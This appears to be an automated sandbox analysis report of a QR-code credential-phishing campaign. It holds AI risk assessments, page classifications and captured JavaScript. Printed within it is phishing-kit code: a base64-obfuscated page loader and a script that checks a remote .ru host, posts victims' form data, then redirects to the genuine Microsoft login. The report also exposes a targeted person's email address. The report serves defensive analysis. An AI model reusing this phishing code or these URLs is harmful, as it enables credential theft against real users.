if(atob("aHR0cHM6Ly9wbGx1Lmdub3F3d2hwd2UucnUvM2FlSy8=") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGNvbG9yOiNkOWQ5ZDk7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCmJvZHl7ZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOmNvbHVtbjttaW4taGVpZ2h0OjEwMHZoO30NCiNUYlFJUkN4aUNkIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI1RiUUlSQ3hpQ2QgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI1RiUUlSQ3hpQ2QgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojVGJRSVJDeGlDZCBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI1RiUUlSQ3hpQ2QuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO30NCiNUYlFJUkN4aUNkIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojVGJRSVJDeGlDZCAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI1RiUUlSQ3hpQ2QgLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojVGJRSVJDeGlDZCAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojVGJRSVJDeGlDZCAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI1RiUUlSQ3hpQ2QgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI1RiUUlSQ3hpQ2QubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNUYlFJUkN4aUNkIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojVGJRSVJDeGlDZCAjdVR3d1dWYVFUVCB7Zm9udC1zaXplOjEzcHg7fQ0KDQovKiEgQ1NTIFVzZWQgZnJvbTogRW1iZWRkZWQgKi8NCip7Ym94LXNpemluZzpib3JkZXItYm94O21hcmdpbjowO3BhZGRpbmc6MDt9DQoNCkBtZWRpYSAocHJlZmVycy1jb2xvci1zY2hlbWU6ZGFyayl7DQpib2R5IC5sZHMtcmluZyBkaXZ7Ym9yZGVyLWNvbG9yOiM5OTkgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnQ7fQ0KYm9keSAjY2hhbGxlbmdlLXN1Y2Nlc3MtdGV4dHtiYWNrZ3JvdW5kLWltYWdlOnVybChkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LFBITjJaeUI0Yld4dWN6MGlhSFIwY0RvdkwzZDNkeTUzTXk1dmNtY3ZNakF3TUM5emRtY2lJSGRwWkhSb1BTSXpNaUlnYUdWcFoyaDBQU0l6TWlJZ1ptbHNiRDBpYm05dVpTSWdkbWxsZDBKdmVEMGlNQ0F3SURJMklESTJJajQ4Y0dGMGFDQm1hV3hzUFNJalpEbGtPV1E1SWlCa1BTSk5NVE1nTUdFeE15QXhNeUF3SURFZ01DQXdJREkySURFeklERXpJREFnTUNBd0lEQXRNalp0TUNBeU5HRXhNU0F4TVNBd0lERWdNU0F3TFRJeUlERXhJREV4SURBZ01DQXhJREFnTWpJaUx6NDhjR0YwYUNCbWFXeHNQU0lqWkRsa09XUTVJaUJrUFNKdE1UQXVPVFUxSURFMkxqQTFOUzB6TGprMUxUUXVNVEkxTFRFdU5EUTFJREV1TXpnMUlEVXVNemNnTlM0Mk1TQTVMalE1TlMwNUxqWXRNUzQwTWkweExqUXdOWG9pTHo0OEwzTjJaejQ9KTt9DQp9DQpib2R5Lm5vLWpzIC5sb2FkaW5nLXNwaW5uZXJ7dmlzaWJpbGl0eTpoaWRkZW47fQ0KLm1haW4tY29udGVudHttYXJnaW46OHJlbSBhdXRvO21heC13aWR0aDo2MHJlbTt3aWR0aDoxMDAlO30NCkBtZWRpYSAod2lkdGggPD0gNzIwcHgpew0KLm1haW4tY29udGVudHttYXJnaW4tdG9wOjRyZW07fQ0KfQ0KLm1haW4tY29udGVudHtwYWRkaW5nLWxlZnQ6MS41cmVtO3BhZGRpbmctcmlnaHQ6MS41cmVtO30NCi5tYWluLXdyYXBwZXJ7YWxpZ24taXRlbXM6Y2VudGVyO2Rpc3BsYXk6ZmxleDtmbGV4OjE7ZmxleC1kaXJlY3Rpb246Y29sdW1uO30NCi5zcGFjZXJ7bWFyZ2luOjJyZW0gMDt9DQouaDF7Zm9udC1zaXplOjIuNXJlbTtmb250LXdlaWdodDo1MDA7bGluZS1oZWlnaHQ6My43NXJlbTt9DQouaDJ7Zm9udC13ZWlnaHQ6NTAwO30NCi5jb3JlLW1zZywuaDJ7Zm9udC1zaXplOjEuNXJlbTtsaW5lLWhlaWdodDoyLjI1cmVtO30NCi5jb3JlLW1zZ3tmb250LXdlaWdodDo0MDA7fQ0KQG1lZGlhICh3aWR0aCA8PSA3MjBweCl7DQouaDF7Zm9udC1zaXplOjEuNXJlbTtsaW5lLWhlaWdodDoxLjc1cmVtO30NCi5oMntmb250LXNpemU6MS4yNXJlbTt9DQouY29yZS1tc2csLmgye2xpbmUtaGVpZ2h0OjEuNXJlbTt9DQouY29yZS1tc2d7Zm9udC1zaXplOjFyZW07fQ0KfQ0KI2NoYWxsZW5nZS1zdWNjZXNzLXRleHR7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtc2l6ZTpj
URL: https://pllu.gnoqwwhpwe.ru/3aeK/#Aandres.gonzalez@... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script appears to be collecting user data and sending it to an unknown domain, as well as potentially redirecting users to a malicious login page. These behaviors are highly suspicious and indicate a high risk of malicious intent." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA0rfpQOBx227C7S', 'error-callback': zNIffWPlEE, callback: LpxjkuGhsH, }); function zNIffWPlEE() { turnstile.reset(); } function LpxjkuGhsH() { var JqDtmITIGk = document.getElementById("SDujqnDNoW"); JqDtmITIGk.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = '8UBimu'; var xrDNbcxnER = "../so85FS9qHeX4qMd1tjKaDy1h"; fetch('https://qxe5brporQ8yWqvx5eHZo1MRooPBEmcjXUzITLhd8skVIPPpQJbCVem.concivergo.ru/awoinxoxnrisqscbygoqtwyKxBtFBoFUOVATIQEHXEJGGLFDBDTSZMLHBXDYBMEVJMDXT', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(xrDNbcxnER, { method: "POST", body: new FormData(JqDtmITIGk) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ location.reload(); } if(data['status'] == 'error'){ window.location.replace('https://login.microsoftonline.com'); } }); } if(text != 0){ window.location.replace('https://login.microsoftonline.com'); } }) .catch(error => { window.location.replace('https://login.microsoftonline.com'); }); }
URL: https://idag2.jpmorganchase.com/adfs/ls/?client-re... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a simple function that handles form submission when an option is selected. It does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or suspicious redirects. The function is primarily responsible for updating the DOM and submitting a form, which are common and legitimate web development practices. Therefore, this script poses a low risk." }
function SelectOption(option) { var w = document.getElementById('waitingWheelDiv'); if(w) w.style.display = 'inline'; var i = document.getElementById('optionSelection'); i.value = option; document.forms['options'].submit(); return false; }
URL: https://pllu.gnoqwwhpwe.ru/3aeK/#Aandres.gonzalez@... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be primarily focused on displaying a randomly generated 'Ray ID' on the page, which is a common practice in web analytics and error reporting. While it does extract the current hostname and replace some text content, these behaviors do not indicate any high-risk or malicious activities. The script seems to be implementing basic functionality without any clear signs of data exfiltration, dynamic code execution, or other suspicious behaviors." }
let KJkmlxkdNM = new URL(window.location.href).hostname; const CyhbyaLSSK = document.querySelectorAll(`.FdOeWMGHyc`); const EgfgvXLtzf = Array.from({length: 16}, () => Math.floor(Math.random() * 16).toString(16)).join(''); document.querySelector(`.ray-id`).innerHTML = "Ray ID: <code>"+EgfgvXLtzf+"</code>"; CyhbyaLSSK.forEach(TwCmZWUYea => { TwCmZWUYea.textContent = TwCmZWUYea.textContent.replace("LJCWTIIJox", KJkmlxkdNM); });
URL: https://idag2.jpmorganchase.com/adfs/ls/?client-re... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a legitimate login functionality with standard input validation and form submission. It does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or redirects to suspicious domains. The script is focused on handling user input and form submission, which is a common and expected behavior for a login system. There are no indications of malicious intent or suspicious activities, so the overall risk score is low." }
//<![CDATA[ function Login() { } Login.userNameInput = 'userNameInput'; Login.passwordInput = 'passwordInput'; Login.initialize = function () { var u = new InputUtil(); u.checkError(); u.setInitialFocus(Login.userNameInput); u.setInitialFocus(Login.passwordInput); }(); Login.submitLoginRequest = function () { var u = new InputUtil(); var e = new LoginErrors(); var userName = document.getElementById(Login.userNameInput); var password = document.getElementById(Login.passwordInput); if (!userName.value \|\| !userName.value.match('[@\\\\]')) { u.setError(userName, e.userNameFormatError); return false; } if (!password.value) { u.setError(password, e.passwordEmpty); return false; } if (password.value.length > maxPasswordLength) { u.setError(password, e.passwordTooLong); return false; } document.forms['loginForm'].submit(); return false; }; InputUtil.makePlaceholder(Login.userNameInput); InputUtil.makePlaceholder(Login.passwordInput); //
URL: https://idag2.jpmorganchase.com/adfs/ls/?client-re... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a legitimate and benign script that addresses some browser compatibility issues and handles the loading of an illustration image. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script uses standard browser APIs and does not exhibit any suspicious behavior. Overall, this script poses a low risk and is likely part of a legitimate web application." }
//<![CDATA[ /* /////////////////////////////////////////////////////////////// // // For JPMC customizations - scroll to the bottom of this document // /////////////////////////////////////////////////////////////// */ // Copyright (c) Microsoft Corporation. All rights reserved. // This file contains several workarounds on inconsistent browser behaviors that administrators may customize. "use strict"; // In the CSS file we set the ms-viewport to be consistent with the device dimensions, // which is necessary for correct functionality of immersive IE. // However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original // values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone. // Windows 8 phone has agent string 'IEMobile 10.0' if (navigator.userAgent.match(/IEMobile\/10\.0/)) { var msViewportStyle = document.createElement("style"); msViewportStyle.appendChild( document.createTextNode( "@-ms-viewport{width:auto!important}" ) ); msViewportStyle.appendChild( document.createTextNode( "@-ms-viewport{height:auto!important}" ) ); document.getElementsByTagName("head")[0].appendChild(msViewportStyle); } // If the innerWidth is defined, use it as the viewport width. if (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) { var viewport = document.querySelector("meta[name=viewport]"); viewport.setAttribute('content', 'width=' + window.innerWidth + ', initial-scale=1.0, user-scalable=1'); } // Gets the current style of a specific property for a specific element. function getStyle(element, styleProp) { var propStyle = null; if (element && element.currentStyle) { propStyle = element.currentStyle[styleProp]; } else if (element && window.getComputedStyle) { propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp); } return propStyle; } // The script below is used for downloading the illustration image // only when the branding is displaying. This script work together // with the code in PageBase.cs that sets the html inline style // containing the class 'illustrationClass' with the background image. var computeLoadIllustration = function () { var branding = document.getElementById("branding"); var brandingDisplay = getStyle(branding, "display"); var brandingWrapperDisplay = getStyle(document.getElementById("brandingWrapper"), "display"); if (brandingDisplay && brandingDisplay !== "none" && brandingWrapperDisplay && brandingWrapperDisplay !== "none") { var newClass = "illustrationClass"; if (branding.classList && branding.classList.add) { branding.classList.add(newClass); } else if (branding.className !== undefined) { branding.className += " " + newClass; } if (window.removeEventListener) { window.removeEventListener('load', computeLoadIllustration, false); window.removeEventListener('resize', computeLoadIllustration, false); } else if (window.detachEvent) { window.detachEvent('onload', computeLoadIllustration); window.detachEvent('onresize', computeLoadIllustration); } } }; if (window.addEventListener) { window.addEventListener('resize', computeLoadIllustration, false); window.addEventListener('load', computeLoadIllustration, false); } else if (window.attachEvent) { window.attachEvent('onresize', computeLoadIllustration); window.attachEvent('onload', computeLoadIllustration); } // Function to change illustration image. Usage example below. function SetIllustrationImage(imageUri) { var illustrationImageClass = '.illustrationClass {background-image:url(' + imageUri + ');}'; var css = document.createElement('style'); css.type = 'text/css'; if (css.styleSheet) css.styleSheet.cssText = illustrationImageClass;
URL: https://idag2.jpmorganchase.com/adfs/ls/?client-re... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a utility function for handling input fields and error display. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or suspicious redirects. The script is focused on providing a consistent user experience by managing input field focus, error display, and placeholder behavior. While it uses some legacy practices like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, the script seems to be a legitimate utility with no clear signs of malicious intent." }
//<![CDATA[ // Copyright (c) Microsoft Corporation. All rights reserved. function InputUtil(errTextElementID, errDisplayElementID) { if (!errTextElementID) errTextElementID = 'errorText'; if (!errDisplayElementID) errDisplayElementID = 'error'; this.hasFocus = false; this.errLabel = document.getElementById(errTextElementID); this.errDisplay = document.getElementById(errDisplayElementID); }; InputUtil.prototype.canDisplayError = function () { return this.errLabel && this.errDisplay; } InputUtil.prototype.checkError = function () { if (!this.canDisplayError){ throw new Error ('Error element not present'); } if (this.errLabel && this.errLabel.innerHTML) { this.errDisplay.style.display = ''; var cause = this.errLabel.getAttribute('for'); if (cause) { var causeNode = document.getElementById(cause); if (causeNode && causeNode.value) { causeNode.focus(); this.hasFocus = true; } } } else { this.errDisplay.style.display = 'none'; } }; InputUtil.prototype.setInitialFocus = function (input) { if (this.hasFocus) return; var node = document.getElementById(input); if (node) { if ((/^\s*$/).test(node.value)) { node.focus(); this.hasFocus = true; } } }; InputUtil.prototype.setError = function (input, errorMsg) { if (!this.canDisplayError) { throw new Error('Error element not present'); } input.focus(); if (errorMsg) { this.errLabel.innerHTML = errorMsg; } this.errLabel.setAttribute('for', input.id); this.errDisplay.style.display = ''; }; InputUtil.makePlaceholder = function (input) { var ua = navigator.userAgent; if (ua != null && (ua.match(/MSIE 9.0/) != null \|\| ua.match(/MSIE 8.0/) != null \|\| ua.match(/MSIE 7.0/) != null)) { var node = document.getElementById(input); if (node) { var placeholder = node.getAttribute("placeholder"); if (placeholder != null && placeholder != '') { var label = document.createElement('input'); label.type = "text"; label.value = placeholder; label.readOnly = true; label.style.position = 'absolute'; label.style.borderColor = 'transparent'; label.className = node.className + ' hint'; label.tabIndex = -1; label.onfocus = function () { this.nextSibling.focus(); }; node.style.position = 'relative'; node.parentNode.style.position = 'relative'; node.parentNode.insertBefore(label, node); node.onkeyup = function () { InputUtil.showHint(this); }; node.onblur = function () { InputUtil.showHint(this); }; node.style.background = 'transparent'; node.setAttribute("placeholder",
URL: https://idag2.jpmorganchase.com/adfs/ls/?client-re... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a legitimate workaround for a known issue with the viewport dimensions on Windows 8 phones. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to suspicious domains. The script is primarily focused on adjusting the viewport settings to ensure proper functionality on a specific device, which is a common practice for web development. While it uses some legacy APIs like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, this script seems to be a benign, well-intentioned workaround with no clear signs of malicious intent." }
//<![CDATA[ /* /////////////////////////////////////////////////////////////// // // For JPMC customizations - scroll to the bottom of this document // /////////////////////////////////////////////////////////////// */ // Copyright (c) Microsoft Corporation. All rights reserved. // This file contains several workarounds on inconsistent browser behaviors that administrators may customize. "use strict"; // In the CSS file we set the ms-viewport to be consistent with the device dimensions, // which is necessary for correct functionality of immersive IE. // However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original // values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone. // Windows 8 phone has agent string 'IEMobile 10.0' if (navigator.userAgent.match(/IEMobile\/10\.0/)) { var msViewportStyle = document.createElement("style"); msViewportStyle.appendChild( document.createTextNode( "@-ms-viewport{width:auto!important}" ) ); msViewportStyle.appendChild( document.createTextNode( "@-ms-viewport{height:auto!important}" ) ); document.getElementsByTagName("head")[0].appendChild(msViewportStyle); } // If the innerWidth is defined, use it as the viewport width. if (window.innerWidth && window.oute
URL: https://idag2.jpmorganchase.com/adfs/ls/?client-re... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This JavaScript snippet appears to be a utility function for handling input fields and error display. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The code is focused on providing a consistent user experience, including handling placeholder text and error messages. There are no signs of malicious intent or suspicious behavior, and the functionality aligns with typical user interface management tasks." }
//<![CDATA[ // Copyright (c) Microsoft Corporation. All rights reserved. function InputUtil(errTextElementID, errDisplayElementID) { if (!errTextElementID) errTextElementID = 'errorText'; if (!errDisplayElementID) errDisplayElementID = 'error'; this.hasFocus = false; this.errLabel = document.getElementById(errTextElementID); this.errDisplay = document.getElementById(errDisplayElementID); }; InputUtil.prototype.canDisplayError = function () { return this.errLabel && this.errDisplay; } InputUtil.prototype.checkError = function () { if (!this.canDisplayError){ throw new Error ('Error element not present'); } if (this.errLabel && this.errLabel.innerHTML) { this.errDisplay.style.display = ''; var cause = this.errLabel.getAttribute('for'); if (cause) { var causeNode = document.getElementById(cause); if (causeNode && causeNode.value) { causeNode.focus(); this.hasFocus = true; } } } else { this.errDisplay.style.display = 'none'; } }; InputUtil.prototype.setInitialFocus = function (input) { if (this.hasFocus) return; var node = document.getElementById(input); if (node) { if ((/^\s*$/).test(node.value)) { node.focus(); this.hasFocus = true; } } }; InputUtil.prototype.setError = function (input, errorMsg) { if (!this.canDisplayError) { throw new Error('Error element not present'); } input.focus(); if (errorMsg) { this.errLabel.innerHTML = errorMsg; } this.errLabel.setAttribute('for', input.id); this.errDisplay.style.display = ''; }; InputUtil.makePlaceholder = function (input) { var ua = navigator.userAgent; if (ua != null && (ua.match(/MSIE 9.0/) != null \|\| ua.match(/MSIE 8.0/) != null \|\| ua.match(/MSIE 7.0/) != null)) { var node = document.getElementById(input); if (node) { var placeholder = node.getAttribute("placeholder"); if (placeholder != null && placeholder != '') { var label = document.createElement('input'); label.type = "text"; label.value = placeholder; label.readOnly = true; label.style.position = 'absolute'; label.style.borderColor = 'transparent'; label.className = node.className + ' hint'; label.tabIndex = -1; label.onfocus = function () { this.nextSibling.focus(); }; node.style.position = 'relative'; node.parentNode.style.position = 'relative'; node.parentNode.insertBefore(label, node); node.onkeyup = function () { InputUtil.showHint(this); }; node.onblur = function () { InputUtil.showHint(this); }; node.style.background = 'transparent'; node.setAttribute("placeholder", ""); InputUtil.showHint(node); } } } }; InputUtil.focus = function (inputField) { var node = document.getElementById(inputField); if (node) node.focus(); }; InputUtil.hasClass = function(node, clsName) { return node.className.match(new RegExp('(\\s\|^)' + clsName + '(\\s\|$)')); }; InputUtil.addClass = function(node, clsName) { if (!this.hasClass(node, clsName)) node.className += " " + clsName; }; InputUtil.removeClass = function(node, clsName) { if (this.hasClass(node, clsName)) { var reg = new RegExp('(\\s\|^)' + clsName + '(\\s\|$)'); node.className = node.className.replace(reg, ' '); } }; InputUtil.showHint = function (node, gotFocus) { if (node.value && node.value != '') { node.previousSibling.style.display = 'none'; } else { node.previousSibling.style.display = ''; } }; InputUtil.updatePlaceholder = function (input, placeholderText) { var
URL: Office document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please use your smartphone camera to scan the Qr code below and listen to your voice message", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": true, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://pllu.gnoqwwhpwe.ru/3aeK/#Aandres.gonzalez@lcatterton.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Office document Model: Joe Sandbox AI	{ "brands": [ "Catterton" ] }
	{ "brands": [ "Catterton" ] }
URL: https://pllu.gnoqwwhpwe.ru/3aeK/#Aandres.gonzalez@lcatterton.com Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "Email, phone, or Skype" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "Email, phone, or Skype" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Taking you to your organization's sign-in page", "prominent_button_name": "Cancel", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign-in options", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34c Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Authentication is required", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Standard ID", "Password", "NAEAST" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34c Model: Joe Sandbox AI	{ "brands": [ "JPMorgan Chase & Co." ] }
	{ "brands": [ "JPMorgan Chase & Co." ] }
URL: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI9jNt0AMXj5C53FxUaFajKUt3QAQFx_Lcdf Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Authentication is required", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Standard ID", "Password", "NAEAST" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34c Model: Joe Sandbox AI	```json{ "legit_domain": "jpmorganchase.com", "classification": "wellknown", "reasons": [ "The brand 'JPMorgan Chase & Co.' is a well-known financial institution.", "The URL 'idag2.jpmorganchase.com' uses the legitimate domain 'jpmorganchase.com'.", "The subdomain 'idag2' could be an internal or specific service-related subdomain, which is common for large organizations.", "No suspicious elements such as misspellings or unusual domain extensions are present in the URL." ], "riskscore": 2}
URL: idag2.jpmorganchase.com Brands: JPMorgan Chase & Co. Input Fields: Standard ID, Password, NAEAST
URL: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI9jNt0AMXj5C53FxUaFajKUt3QAQFx_Lcdf Model: Joe Sandbox AI	{ "brands": [ "JPMorgan Chase & Co." ] }
